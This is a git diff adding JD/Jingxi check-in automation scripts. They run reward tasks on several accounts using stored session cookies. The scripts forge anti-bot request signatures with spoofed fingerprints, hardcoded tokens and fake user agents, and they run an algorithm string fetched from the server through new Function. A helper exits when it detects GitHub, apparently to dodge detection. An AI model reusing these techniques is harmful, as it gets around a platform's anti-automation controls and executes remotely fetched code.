7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA, UAInfo = {}, isLoginInfo = {}; +$.shareCodes = []; +$.blackInfo = {} +$.appId = "0ac98"; +const JX_FIRST_RUNTASK = $.isNode() ? (process.env.JX_FIRST_RUNTASK && process.env.JX_FIRST_RUNTASK === 'xd' ? '5' : '1000') : ($.getdata('JX_FIRST_RUNTASK') && $.getdata('JX_FIRST_RUNTASK') === 'xd' ? '5' : '1000') +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (i === 0) console.log(`\n正在收集助力码请等待\n`) + if (!isLoginInfo[$.UserName]) continue + if (JX_FIRST_RUNTASK === '5') { + $.signhb_source = '5' + } else if (JX_FIRST_RUNTASK === '1000') { + $.signhb_source = '1000' + } + await signhb(1) + await $.wait(500) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = UAInfo[$.UserName] + if (JX_FIRST_RUNTASK === '5') { + console.log(`开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main() + console.log(`\n开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main(false) + } else if (JX_FIRST_RUNTASK === '1000') { + console.log(`开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main() + console.log(`\n开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main(false) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +async function main(help = true) { + $.commonlist = [] + $.bxNum = [] + $.black = false + $.canHelp = true + await signhb(2) + await $.wait(2000) + if (!$.sqactive && $.signhb_source === '5') { + console.log(`未选择自提点,跳过执行`) + return + } + if (help) { + if ($.canHelp) { + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部互助\n`) + for (let j = 0; j < $.shareCodes.length; j++) { + if ($.shareCodes[j].num == $.shareCodes[j].domax) { + $.shareCodes.splice(j, 1) + j-- + continue + } + if ($.shareCodes[j].use === $.UserName) { + console.log(`不能助力自己`) + continue + } + console.log(`账号 ${$.UserName} 去助力 ${$.shareCodes[j].use} 的互助码 ${$.shareCodes[j].smp}`) + if ($.shareCodes[j].max) { + console.log(`您的好友助力已满`) + continue + } + await helpSignhb($.shareCodes[j].smp) + await $.wait(2000) + if (!$.black) $.shareCodes[j].num++ + break + } + } + } else { + console.log(`今日已签到,无法助力好友啦~`) + } + } + if (!$.black) { + await helpSignhb() + if ($.commonlist && $.commonlist.length) { + console.log(`开始做${$.taskName}任务`) + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log(`${$.taskName}任务已完成`) + } + if ($.bxNum && $.bxNum.length) { + for (let j = 0; j < $.bxNum[0].bxNum; j++) { + await bxdraw() + await $.wait(2000) + } + } + if ($.signhb_source === '1000') await SignedInfo() + } else { + console.log(`此账号已黑`) + } + await $.wait(2000) +} + +// 查询信息 +function signhb(type = 1) { + let body = ''; + if ($.signhb_source === '5') body = `type=0&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if ($.signhb_source === '5') { + $.sqactive = ''; + if (!data.sqactive) return + $.sqactive = data.sqactive + } + const { + smp, + commontask, + sharetask, + signlist = [] + } = data + let domax, helppic, status + if (sharetask) { + domax = sharetask.domax + helppic = sharetask.helppic + status = sharetask.status + } + let helpNum = 0 + if (helppic) helpNum = helppic.split(";").length - 1 + switch (type) { + case 1: + if (status === 1) { + let max = false + if (helpNum == domax) max = true + $.shareCodes.push({ + 'use': $.UserName, + 'smp': smp, + 'num': helpNum || 0, + 'max': max, + 'domax': domax + }) + } + break + case 2: + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + console.log(`今日已签到`) + $.canHelp = false + } else { + console.log(`今日未签到`) + } + } + } + console.log(`【签到互助码】${smp}`) + if (helpNum) console.log(`已有${helpNum}人助力`) + if (commontask) { + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + console.log(`可开启宝箱${data.baoxiang_left}个`) + $.bxNum.push({ + 'bxNum': data.baoxiang_left + }) + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 签到 助力 +function helpSignhb(smp = '') { + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", `type=1&signhb_source=${$.signhb_source}&smp=${smp}&ispp=1&tk=`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} query助力 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + signlist = [] + } = data + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + // console.log(`今日已签到`) + } else { + console.log(`此账号已黑`) + $.black = true + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + let body; + if ($.signhb_source === '5') { + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/dotask", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `完成任务 获得${data.sendxd}喜豆` : `完成任务 获得${data.sendhb}红包`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +// 宝箱 +function bxdraw() { + let body; + if ($.signhb_source === '5') { + body = `ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/bxdraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} bxdraw API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `开启宝箱 获得${data.sendxd}喜豆` : `开启宝箱 获得${data.sendhb}红包`); + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 双签 +function SignedInfo() { + return new Promise(resolve => { + $.get(JDtaskUrl("SignedInfo", `_=${Date.now()}`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} SignedInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { data: { jd_sign_status, jx_sign_status, double_sign_status } } = data + if (data.retCode === 0) { + if (double_sign_status === 0) { + if (jd_sign_status === 1 && jx_sign_status === 1) { + await IssueReward() + } else { + console.log(`京东或京喜未签到,无法双签`) + } + } else { + console.log(`已完成双签`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function IssueReward() { + return new Promise(resolve => { + $.get(JDtaskUrl("IssueReward"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} IssueReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.retCode === 0){ + console.log(`双签成功:获得${data.data.jx_award}京豆`) + } else { + console.log(`任务完成失败,错误信息${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function JDtaskUrl(functionId, body = '') { + let url = `https://wq.jd.com/jxjdsignin/${functionId}?${body ? `${body}&` : ''}sceneval=2&g_login_type=1&g_ty=ajax` + return { + url, + headers: { + "Host": "wq.jd.com", + "Accept": "application/json", + "Origin": "https://wqs.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://wqs.jd.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jx_sign_xd.js b/jx_sign_xd.js new file mode 100644 index 0000000..54c5f7a --- /dev/null +++ b/jx_sign_xd.js @@ -0,0 +1,399 @@ +/* +京喜签到-喜豆 +cron 30 2,9 * * * jx_sign_xd.js +活动入口:京喜APP-我的-京喜签到-喜豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到-喜豆 +30 2,9 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign_xd.js, tag=京喜签到-喜豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "30 2,9 * * *" 